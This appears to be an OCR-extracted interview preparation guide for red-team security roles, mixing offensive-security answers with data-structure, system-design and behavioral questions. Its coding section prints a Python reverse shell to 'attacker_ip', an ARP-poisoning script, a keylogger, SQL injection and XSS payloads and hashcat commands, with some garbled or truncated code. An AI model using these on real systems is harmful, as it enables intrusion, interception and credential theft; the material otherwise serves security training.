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Core Concepts

This section focuses on fundamental principles and advanced concepts that an experienced
developer should master.

1. How would you implement a custom malware packer to evade antivirus detection?

Packer Implementation Strategy:

e Multiple encryption layers

¢ Anti-debugging techniques

¢ Memory-only execution

e Polymorphic code generation

Example implementation:

def pack_payload(raw_payload):
encrypted = multi_layer_encrypt(raw_payload)
stub = generate_polymorphic_stub()
return combine_stub_payload(stub, encrypted)

2. Explain the concept of MITRE ATT&CK Framework and how you would use it in red
team operations

MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics and techniques based
on real-world observations. Key aspects include:

¢ Provides a common language for describing adversary behaviors
¢ Helps in planning red team operations by mapping techniques to specific objectives
e Enables systematic coverage of attack surfaces

Example usage in planning:

def plan_operation(target system):
techniques = {
'initial_access': ['T1190', 'T1133'],
'execution': ['T1059', 'T1203'],
'persistence': ['T1505.003']

}

3. How would you implement a custom C2 (Command and Control) channel that evades
common detection methods?

Key Components of Evasive C2:

e Domain Fronting using legitimate CDNs
¢ Traffic blending with normal protocols
e Jitter and sleep timers

Example implementation:

def create_c2 _channel(domain, jitter=True):
headers = {'Host': 'legitimate-cdn.com'}
payload = encrypt_payload(command)
if jitter:
time.sleep(random.uniform(30, 120))
return send_request(domain, headers, payload)

4. Describe your approach to bypassing modern EDR solutions

EDR Bypass Strategy:



Direct Syscall Implementation
In-memory execution

DLL unhooking techniques
Process injection variations

Example syscall implementation:

def direct_syscall(syscall number):
shellcode = generate_syscall stub(syscall_number)
allocated_memory = VirtualAlloc(shellcode)
thread = create_thread(allocated_memory)
return execute_thread(thread)

5. How would you perform Active Directory enumeration while maintaining stealth?

Stealthy AD Enumeration Approach:

¢ LDAP queries with proper timing
¢ Minimal DC connections
¢ Avoiding common tool signatures

Example implementation:

def enum_ad_stealth(domain):
Idap_filter = '(&(objectClass=user)(adminCount=1))'
connection = create_|Idap_connection(domain)
set_query_timing(random.uniform(5, 15))
return process_results(connection.search(ldap_filter))

6. Explain your methodology for conducting infrastructure vulnerability assessments

Infrastructure Assessment Framework:

Network topology mapping
Service enumeration
Vulnerability correlation
Exploitation path identification

Example automation:

def assess_infrastructure(target range):
services = port_scan(target _range)
vulns = correlate_cves(services)
paths = identify_attack paths(vulns)
return prioritize_targets(paths)

7. How do you approach writing custom exploit code for newly discovered vulnerabilities?

Exploit Development Process:

Vulnerability analysis and proof-of-concept
Reliability enhancement

Cross-platform compatibility

Evasion techniques integration

Example framework:

class ExploitDev:
def analyze_vulnerability(self, target):
poc = develop_initial_poc()
reliable_exploit = enhance_reliability(poc)
return add_evasion_techniques(reliable_exploit)

8. Describe your approach to red team campaign planning and execution

Campaign Planning Components:

¢ Objective definition
e OPSEC considerations



¢ Infrastructure setup
e Success metrics

Example planning structure:

def plan_campaign(objectives):
infra = setup_campaign_infrastructure()
ttps = select _attack techniques(objectives)
opsec = implement_opsec_measures()
return create_execution_timeline(ttps, opsec)

9. Explain your methodology for conducting wireless network penetration testing

Wireless Testing Framework:

¢ Signal analysis and mapping

¢ Protocol vulnerability assessment

¢ Client-side attack vectors

¢ Infrastructure compromise techniques

Example automation:

def wireless_pentest(target_ssid):
networks = scan_wireless_spectrum()
vulns = analyze_protocols(networks)
clients = identify_vulnerable_clients()
return develop_attack strategy(vulns, clients)

10. How do you approach supply chain compromise scenarios in red team operations?

Supply Chain Attack Methodology:

Dependency analysis

Build pipeline assessment
Third-party vendor evaluation
Compromise point identification

Example framework:

def assess_supply_chain(target_org):
deps = map_dependencies(target org)
vendors = analyze_third_parties(deps)
pipelines = assess_build systems(vendors)
return identify_weak_points(pipelines)
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Data Structures and Algorithms

Questions in this section test your understanding of how to work with and manipulate data
efficiently.

1. Explain how you would implement an LRU (Least Recently Used) Cache with a specific
capacity. What data structures would you use and why?

Implementation Approach:

Key Components:

¢ HashMap for O(1) key-value lookups
¢ Doubly Linked List to track access order

Time Complexity: O(1) for both get and put operations

class LRUCache:
def _init_ (self, capacity):
self.cache = {}
self.capacity = capacity
self.dll = DoublyLinkedList()

def get(self, key):
if key in self.cache:
self.dll.move_to_front(self.cache[key])

2. How would you implement a thread-safe circular buffer (ring buffer) in Python? What
considerations are important?

Implementation Details:

e Use threading.Lock for synchronization
¢ Fixed-size array implementation
e Atomic read/write operations

class CircularBuffer:
def _init_ (self, size):
self.buffer = [None] * size
self.head = self.tail = 0
self.lock = threading.Lock()
self.size = size

Key Considerations:

¢ Race condition prevention
e Buffer overflow handling
¢ Full/empty state detection

3. Describe an efficient algorithm to find all pairs in an array that sum to a target value.
How would you optimize it?

Solution Approaches:

1. Hash Table Method (O(n)):

def find_pairs(arr, target):
seen = set()
pairs =[]
for num in arr:
if target - num in seen:
pairs.append((num, target - num))



seen.add(num)
Optimizations:

e Early termination for sorted arrays
¢ Space-time tradeoff using hash table
e Handle duplicates efficiently

4. How would you implement a concurrent priority queue that's thread-safe? What
synchronization mechanisms would you use?

Implementation Strategy:
Core Components:

e Heap-based priority queue
e ReentrantLock for thread safety
¢ Condition variables for blocking operations

class ConcurrentPriorityQueue:
def __init_ (self):
self.heap =[]
self.lock = threading.RLock()
self.not_empty = threading.Condition(self.lock)

Critical Operations:

e Atomic enqueue/dequeue
e Priority maintenance
¢ Deadlock prevention

5. Explain how you would implement an efficient Trie data structure for string prefix
matching. What are the space-time tradeoffs?

Trie Implementation:

class TrieNode:
def _init_ (self):
self.children = {}
self.is_end = False
self.prefix_count =0

Complexity Analysis:

e Time: O(m) for insertion/search (m = string length)
e Space: O(ALPHABET SIZE * N * M)

Optimizations:

e Compressed tries for space efficiency
e Path compression techniques
e Memory-efficient node representation

6. Design a data structure for implementing an efficient sliding window maximum
algorithm. How would you handle dynamic window sizes?

Solution Design:

Approach using Deque:

def max_sliding_window(nums, k):
deque = collections.deque()
result =[]
for i, num in enumerate(nums):
while deque and nums[deque[-1]] < num:
deque.pop()

Key Features:

¢ O(n) time complexity



¢ Maintains monotonic decreasing sequence
¢ Handles dynamic window size changes

7. How would you implement a thread-safe LFU (Least Frequently Used) cache with O(1)
operations?

Implementation Approach:

Data Structures:

¢ HashMap for key-value storage
¢ HashMap for frequency tracking
e Min-heap for frequency management

class LFUCache:
def _init_ (self, capacity):
self.capacity = capacity
self.key_to val = {}
self.key to freq = {}
self.freq_to_keys = defaultdict(OrderedDict)

Critical Features:

¢ Frequency tracking
e O(1) access and update
e Thread-safe operations

8. Explain how you would implement a concurrent skip list. What are the advantages over
other concurrent data structures?

Skip List Design:
Key Components:

e Multiple layers for O(log n) search
¢ Lock-free synchronization
e Atomic compare-and-swap operations

class SkipListNode:
def __init_ (self, level, key, value):
self.key = key
self.value = value
self.next = [None] * level

Advantages:

e Better concurrency than B-trees
¢ Lock-free operations possible
¢ Simple rebalancing

9. Design a memory-efficient bloom filter implementation. How would you handle false
positives and sizing?

Bloom Filter Implementation:

class BloomFilter:
def _init_(self, size, hash_count):
self.size = size
self.hash_count = hash_count
self.bit_array = BitArray(size)

Design Considerations:

e Optimal bit array size calculation
e Multiple hash function selection
¢ False positive probability tuning

Performance Metrics:



¢ Space efficiency vs accuracy tradeoff
¢ Hash function distribution
¢ Scalability factors

10. How would you implement a concurrent hash map with lock striping? What are the
performance implications?

Implementation Strategy:

Core Components:

¢ Array of locks for striping
e Segment-based locking
¢ Dynamic resizing support

class StripedHashMap:
def __init_ (self, concurrency_level):
self.segments = [[] for _in range(concurrency_level)]
self.locks = [threading.Lock() for _in range(concurrency level)]

Performance Characteristics:

e Reduced lock contention
e Better concurrent access
¢ Memory overhead considerations
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System Design

These questions evaluate your ability to think about the bigger picture, including architecture,
scalability, and performance.

1. Design a scalable URL shortener service like bit.ly

Key Components:

¢ APl Gateway: Handle incoming requests, rate limiting, authentication

¢ URL Generator Service: Create unique short URLs using base62 encoding or MD5/SHA-256
hash

e Database Layer: Store URL mappings (NoSQL like DynamoDB for scale)

e Cache Layer: Redis/Memcached for frequently accessed URLs

Design Considerations:

Short URL collision handling

URL expiration strategy

Analytics tracking

Horizontal scaling with consistent hashing

Example URL Generation:

def generate_short_url(long_url):
hash = md5(long_url).hexdigest()
base62 = encode_base62(hash[:8])
return f'domain.com/{base62}'

2. How would you design a real-time chat system that can handle millions of concurrent
users?

Architecture Components:

WebSocket Servers: Handle persistent connections
Message Queue: Kafka/RabbitMQ for message distribution
Presence Service: Track online/offline status

Message Store: Cassandra for message history

Scaling Considerations:

e Connection pooling

¢ Message fanout optimization
¢ Offline message delivery

e Geographic distribution

// WebSocket connection handling

socket.on('message’, async (msg) => {
await kafka.publish('chat_messages', msg);
await presence.updatelLastSeen(userld);

b
3. Design a distributed rate limiter for a large-scale API gateway
Key Components:

¢ Token Bucket Algorithm: Basic rate limiting mechanism

¢ Redis Cluster: Distributed counter storage
¢ Configuration Service: Dynamic rate limit rules



Implementation Approach:

async function checkRateLimit(userld) {
const key = “rate:${userld}";
const count = await redis.incr(key);
if (count === 1) redis.expire(key, 3600);
return count <= RATE_LIMIT;

}

Considerations:

Race conditions

Clock synchronization
Failover handling

Multiple datacenter support

4. How would you design a scalable social media feed system?

Core Components:

Post Service: Handle content creation/storage

Feed Service: Aggregate and serve personalized feeds
Fan-out Service: Push updates to follower feeds
Cache Layer: Store pre-computed feeds

Data Model:

// Feed item structure
{
postid: uuid,
userld: string,
content: string,
timestamp: datetime,
engagement: {likes, comments}

}
Optimization Strategies:

Pull vs Push model based on follower count
Feed pagination and cursor-based navigation
Content ranking algorithms

Cache invalidation strategies

5. Design a distributed task scheduler system

System Components:

Task Definition Service: Handle task metadata
Scheduler Core: Manage task timing and distribution
Worker Pool: Execute tasks

State Store: Track task status

Key Features:

¢ Cron-style scheduling

e Task dependencies

¢ Failure handling and retries

e Task prioritization

class Task {
id: string;
schedule: string; // cron expression
maxRetries: number;
dependencies: string[];
handler: () => Promise;

}



6. Design a distributed caching system like Redis

Core Features:

Data Structures: String, List, Hash, Set
Eviction Policies: LRU, LFU, TTL

Persistence: RDB and AOF

Cluster Management: Sharding and replication

Implementation Considerations:

class CacheNode {
shardld: number;
data: Map;
async set(key, value, ttl?) {
this.data.set(key, {value, expiry: Date.now() + ttl});
}
}

Challenges:

e Consistency vs Availability trade-offs
¢ Hot key distribution

¢ Network partition handling

e Memory management

7. Design a system for processing millions of 10T device updates in real-time

Architecture Components:

¢ Ingestion Layer: MQTT brokers

e Stream Processing: Kafka Streams/Flink
¢ Time-series DB: InfluxDB/TimescaleDB

¢ Alert System: Anomaly detection

Data Flow:

device -> mqtt -> kafka -> stream_processor
-> timeseries_db
-> alert_system

Considerations:

e Message ordering

e Data compression

¢ Device authentication

e Downsampling strategies

8. Design a distributed configuration management system

Core Components:

¢ Config Store: Versioned key-value store

¢ Change Notification: Push updates to clients
¢ Access Control: RBAC for config management
¢ Audit Trail: Track all changes

Implementation Example:

class ConfigClient {
async watch(key: string) {
const watcher = new EventSource( /api/config/$ {key}/stream’);
watcher.onmessage = (event) => this.updateConfig(event.data);
}
}

Features:



Environment separation
Config inheritance
Rollback capability
Change validation

9. Design a distributed log aggregation system

System Components:

Log Collectors: Filebeat/Fluentd agents
Message Queue: Kafka for buffering
Processing Pipeline: Parse, filter, enrich
Search Index: Elasticsearch

Data Flow:

source -> collector -> kafka -> processor
-> elasticsearch
-> cold_storage

Considerations:

Log rotation and retention
Index management
Search optimization

Cost management

10. Design a distributed job queue system like Celery

Core Components:

Queue Manager: Priority queues, routing
Worker Pool: Task execution

Result Backend: Store task results
Monitor: System health tracking

Implementation Example:

class Task {
async execute() {
try {
const result = await this.handler();
await this.resultStore.save(this.id, result);
} catch (e) {
await this.handleRetry();
}
}

Features:

Task prioritization
Dead letter queues
Rate limiting

L]
]
L]
¢ Task routing
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Coding and Debugging

This section presents practical coding challenges and questions about debugging techniques.

1. How would you approach exploiting a buffer overflow vulnerability in a C program?

Key Components of Buffer Overflow Exploitation:

¢ |dentify the vulnerable buffer through source code review or fuzzing
¢ Determine exact offset to EIP/RIP

¢ Craft payload that includes shellcode and return address

¢ Bypass protections like ASLR/DEP if present

Example payload generation with Python:

buffer = b'A' * offset
return_addr = pack("

2. Explain how you would perform a Man-in-the-Middle (MITM) attack for penetration
testing purposes?

MITM Attack Components:

ARP poisoning to redirect traffic
SSL stripping to downgrade HTTPS
Packet capture and analysis
Traffic modification if needed

Example using Python and Scapy:

from scapy.all import *
def arp_poison(target_ip, gateway _ip):
target_ mac = getmacbyip(target_ip)
packet = ARP(op=2, pdst=target ip, hwdst=target_mac,
psrc=gateway ip)
send(packet, verbose=False)

3. How would you implement a basic port scanner in Python?

Port Scanner Implementation:

Key features to include:

e Multi-threading for speed

¢ Connection timeout handling
¢ Service identification

¢ Basic stealth options

def scan_port(ip, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((ip, port))
if result ==
print(f'Port {port}: Open')
sock.close()

4. How would you perform reverse engineering of a simple binary?
Reverse Engineering Process:

e Static analysis with tools like IDA Pro/Ghidra



e Dynamic analysis with GDB/WinDbg
¢ |dentify key functions and control flow
e Look for security mechanisms

Example GDB commands:

gdb ./binary

set disassembly-flavor intel
break main

run

disas main

x/20i $rip

5. Explain how you would exploit a basic SQL injection vulnerability?

SQL Injection Methodology:

¢ |dentify injectable parameters
¢ Determine database type

e Extract schema information

e Escalate to data extraction

Example payloads:

# Basic authentication bypass

"OR'1'="1

# Union-based extraction

" UNION SELECT null,table_name FROM information_schema.tables--
# Time-based blind

" AND IF(SUBSTRING(user(),1,1)="r',SLEEP(5),0)--

6. How would you implement a basic keylogger for testing purposes?

Keylogger Implementation:

Hook keyboard events

Log keystrokes securely
Handle special keys
Implement stealth features

Basic Python implementation:

from pynput import keyboard
def on_press(key):
with open('keylog.txt', 'a') as f:
try:
f.write(key.char)
except AttributeError:
f.write(f'[{key}1)

7. How would you perform a basic password cracking attack?

Password Cracking Approach:

e Hash identification

¢ Dictionary attack

e Rule-based mutations

e Brute force as last resort

Example using hashcat:

hashcat -m 0 -a 0 hashes.txt wordlist.txt -r rules/best64.rule
# For MD5 with wordlist and rules

hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a

# Brute force all chars up to length 6

8. How would you implement a basic network packet sniffer?

Packet Sniffer Components:



Raw socket creation
Packet parsing
Protocol identification
Data extraction

Basic implementation:

sock = socket.socket(socket.AF_PACKET, socket.SOCK RAW,
socket.ntohs(3))
while True:
packet = sock.recvfrom(65535)
eth_header = packet[0][0:14]
ip_header = packet[0][14:34]

9. Explain how you would perform a basic XSS (Cross-Site Scripting) attack?

XSS Attack Vectors:

Reflected XSS

Stored XSS

DOM-based XSS

Filter bypass techniques

Example payloads:

# Basic alert
# Image tag payload

# JavaScript URI
javascript:alert(document.domain)

10. How would you implement a basic backdoor in Python?

Backdoor Implementation:

o Reverse shell connection
e Command execution

e Persistence mechanism
e Stealth features

Basic reverse shell:

import socket,subprocess

s=socket.socket()

s.connect(('attacker _ip',4444))

while True:
cmd=s.recv(1024).decode()
output=subprocess.getoutput(cmd)
s.send(output.encode())
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Behavioral Questions

These questions assess your soft skills, problem-solving approach, and how you work in a team.

1. Tell me about a time when you discovered a security vulnerability in a production
system. How did you handle it?

Situation: While performing a routine security assessment of our payment processing system, |
discovered an SQL injection vulnerability in a legacy APl endpoint.

Task: | needed to responsibly disclose the vulnerability, assess its impact, and coordinate
remediation without disrupting business operations.

Action: I:

e Documented the vulnerability with proof-of-concept code

¢ Immediately notified the security incident response team

¢ Helped develop and test a patch

¢ Created a post-mortem report with recommendations

Result: The vulnerability was patched within 24 hours with zero customer impact. We implemented
new security testing procedures and trained the development team on secure coding practices.

2. Describe a situation where you had to convince management to prioritize a security
initiative.

Situation: Our company was rapidly scaling cloud infrastructure without proper security controls in
place.

Task: | needed to convince senior management to invest in a cloud security posture management
(CSPM) solution.

Action: I:

Conducted a risk assessment showing potential financial impact
Created a proof-of-concept showing existing vulnerabilities
Presented ROI analysis and compliance benefits

Developed a phased implementation plan

Result: Secured $200K budget for CSPM implementation, resulting in 60% reduction in cloud
security risks within 6 months.

3. Tell me about a time when you had to respond to a security incident.

Situation: We detected unusual outbound traffic patterns suggesting potential data exfiltration from
our development environment.

Task: Lead the incident response effort to contain, investigate, and remediate the threat.
Action: I

Initiated incident response protocol

Isolated affected systems

Performed forensic analysis

Identified compromised credentials as root cause
Implemented immediate containment measures

Result: Successfully contained the incident within 2 hours, prevented data loss, and implemented
MFA across all development environments.

4. How do you stay current with the latest security threats and attack techniques?



Situation: As a Red Team lead, staying current is crucial for effective penetration testing.
Task: Develop and maintain a comprehensive knowledge management system for the team.
Action: |

Created a team threat intelligence sharing platform

Established weekly security research time

Participated in CTF competitions
Contributed to open-source security tools

Result: Team identified 3 zero-day vulnerabilities in the past year and improved our attack
simulation capabilities by 40%.

5. Describe a time when you had to work with blue team members to improve security.

Situation: After a successful red team engagement, there was tension with the blue team over
findings.

Task: Bridge the gap between red and blue teams to improve overall security posture.
Action: |:

Organized joint workshops

Created collaborative improvement plans

Established regular knowledge sharing sessions

°
]
°
¢ Developed shared metrics for success

Result: Reduced mean time to detection by 65% and improved remediation efficiency by 40%

through better collaboration.

6. Tell me about a time when you had to balance security with business needs.
Situation: A critical business application needed rapid deployment despite security concerns.
Task: Find a way to enable business objectives while maintaining security standards.

Action: |

Performed rapid risk assessment

Developed compensating controls

Created phased security implementation plan
Established monitoring protocols

Result: Successfully deployed application on schedule with acceptable risk levels and implemented
full security controls within 30 days.

7. Describe a situation where you improved the efficiency of security testing processes.
Situation: Manual security testing was creating bottlenecks in our CI/CD pipeline.
Task: Automate security testing while maintaining effectiveness.
Action: I
Developed custom security testing frameworks
Integrated automated scanning tools

L]

]

¢ Created risk-based testing protocols

¢ Implemented parallel testing capabilities

Result: Reduced security testing time by 70% while increasing coverage by 35%.

8. Tell me about a time when you had to mentor junior security team members.

Situation: Our team expanded rapidly with several junior red team members.
Task: Develop and implement a mentoring program to accelerate their growth.

Action: I:



Created structured learning paths
Developed hands-on training scenarios
Established regular feedback sessions
Paired juniors with seniors on projects

Result: All junior team members achieved relevant certifications within 6 months and contributed to
major engagements independently.

9. Describe a time when you had to handle a failed penetration test.

Situation: A critical client engagement failed to achieve objectives due to scope limitations.
Task: Manage client expectations and deliver value despite constraints.

Action: |:

Transparently communicated challenges
Proposed alternative testing approaches
Provided actionable recommendations
Offered additional testing options

Result: Client approved expanded scope, leading to successful retest and identification of critical
vulnerabilities.

10. Tell me about a time when you had to present technical findings to non-technical
stakeholders.

Situation: Complex technical findings from a red team assessment needed to be presented to
board members.

Task: Translate technical details into business impact and actionable insights.
Action: |

Created executive summary with risk ratings

Developed visual attack path demonstrations

Prepared cost-benefit analysis

°
]
°
¢ Used real-world breach examples

Result: Secured additional security budget and executive support for major security initiatives.
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